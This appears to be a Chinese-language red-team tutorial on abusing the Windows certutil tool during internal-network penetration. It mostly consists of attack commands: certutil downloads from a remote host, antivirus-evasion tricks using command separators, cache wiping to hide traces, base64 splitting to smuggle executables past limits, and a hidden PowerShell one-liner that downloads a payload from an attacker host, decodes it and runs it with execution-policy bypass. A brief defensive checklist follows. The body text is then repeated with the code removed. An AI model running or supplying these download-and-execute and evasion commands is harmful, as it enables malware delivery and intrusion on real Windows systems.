关于certutil的探究
字数 957 2025-08-05 08:19:06

Certutil工具在内网渗透中的高级应用

1. Certutil概述

Certutil.exe是Windows系统自带的合法命令行程序,主要用于管理Windows证书服务。微软官方将其描述为:

  • 用于转储和显示证书颁发机构(CA)配置信息
  • 配置证书服务
  • 备份和还原CA组件
  • 验证证书、密钥对和证书链

然而,这个合法工具已被广泛滥用于恶意用途,在内网渗透中主要利用其下载、编码、解码和替代数据流等功能。

2. Certutil下载文件技术

基本下载命令

certutil -urlcache -split -f http://ip/artifact.exe

参数解析

  • -f:覆盖现有文件,后跟要下载的文件URL
  • -split:保存到当前路径(不加此参数则下载到默认路径)
  • -URLCache:显示或删除URL缓存条目

绕过杀软拦截方法

  1. 分步执行法
certutil
certutil -urlcache -split -f http://ip/artifact.exe
  1. 分隔符法
certutil & certutil -urlcache -split -f http://ip/artifact.exe
certutil | certutil -urlcache -split -f http://ip/artifact.exe

文件重命名

certutil & certutil -urlcache -split -f http://ip/artifact.exe newname.exe

缓存管理

  1. 查看缓存:
certutil -urlcache *
  1. 删除缓存:
certutil -urlcache * delete
  1. 下载时自动删除缓存:
certutil & certutil -urlcache -split -f http://ip/artifact.exe delete

3. Certutil Base64加解密技术

应用场景

当内网穿透时遇到代理软件上传限制或杀软限制文件大小时使用

基本流程

  1. 本地编码:
certutil -encode source.exe encoded.txt
  1. 分块传输(使用Notepad++等工具分割大文件)

  2. 靶机合并文件:

copy c:\*txt c:\combined.txt
  1. 靶机解码:
certutil -decode combined.txt final.exe

文件分割技巧(Notepad++)

  1. 编辑 > 开始/结束选择
  2. Ctrl+G跳转到指定行
  3. 再次点击开始/结束选择完成选择

4. Certutil校验Hash值

命令格式

certutil -hashfile filename.ext ALGORITHM

支持的算法

certutil -hashfile mimikatz.exe MD5    # 检验MD5
certutil -hashfile mimikatz.exe SHA1   # 检验SHA1
certutil -hashfile mimikatz.exe SHA256 # 检验SHA256

5. Certutil配合PowerShell内存加载

基本流程

  1. 修改PowerShell策略:
Set-ExecutionPolicy Unrestricted
  1. 使用混淆框架(如Invoke-CradleCrafter)生成Payload

  2. 编码Payload:

certutil -encode payload.txt payload.cer
  1. 靶机执行:
powershell.exe -Win hidden -Exec Bypass add-content -path %APPDATA%\payload.cer (New-Object Net.WebClient).DownloadString('http://attacker/payload.cer'); certutil -decode %APPDATA%\payload.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\payload.cer

6. 防御建议

  1. 监控certutil.exe的异常使用,特别是与网络相关的参数组合
  2. 限制普通用户对certutil.exe的执行权限
  3. 对Base64编码的大文件传输保持警惕
  4. 实施严格的PowerShell执行策略
  5. 部署能够检测Living-off-the-Land二进制文件(LOLBin)滥用的安全解决方案

7. 总结

Certutil作为Windows原生工具,在内网渗透中具有多种用途:

  • 文件下载与传输
  • Base64编码/解码绕过限制
  • 文件完整性校验
  • 配合PowerShell实现内存加载

了解这些技术有助于红队进行隐蔽操作,同时也帮助蓝队更好地防御此类攻击手法。

Certutil工具在内网渗透中的高级应用 1. Certutil概述 Certutil.exe是Windows系统自带的合法命令行程序,主要用于管理Windows证书服务。微软官方将其描述为: 用于转储和显示证书颁发机构(CA)配置信息 配置证书服务 备份和还原CA组件 验证证书、密钥对和证书链 然而,这个合法工具已被广泛滥用于恶意用途,在内网渗透中主要利用其下载、编码、解码和替代数据流等功能。 2. Certutil下载文件技术 基本下载命令 参数解析 -f :覆盖现有文件,后跟要下载的文件URL -split :保存到当前路径(不加此参数则下载到默认路径) -URLCache :显示或删除URL缓存条目 绕过杀软拦截方法 分步执行法 : 分隔符法 : 文件重命名 缓存管理 查看缓存: 删除缓存: 下载时自动删除缓存: 3. Certutil Base64加解密技术 应用场景 当内网穿透时遇到代理软件上传限制或杀软限制文件大小时使用 基本流程 本地编码: 分块传输(使用Notepad++等工具分割大文件) 靶机合并文件: 靶机解码: 文件分割技巧(Notepad++) 编辑 > 开始/结束选择 Ctrl+G跳转到指定行 再次点击开始/结束选择完成选择 4. Certutil校验Hash值 命令格式 支持的算法 5. Certutil配合PowerShell内存加载 基本流程 修改PowerShell策略: 使用混淆框架(如Invoke-CradleCrafter)生成Payload 编码Payload: 靶机执行: 6. 防御建议 监控certutil.exe的异常使用,特别是与网络相关的参数组合 限制普通用户对certutil.exe的执行权限 对Base64编码的大文件传输保持警惕 实施严格的PowerShell执行策略 部署能够检测Living-off-the-Land二进制文件(LOLBin)滥用的安全解决方案 7. 总结 Certutil作为Windows原生工具,在内网渗透中具有多种用途: 文件下载与传输 Base64编码/解码绕过限制 文件完整性校验 配合PowerShell实现内存加载 了解这些技术有助于红队进行隐蔽操作,同时也帮助蓝队更好地防御此类攻击手法。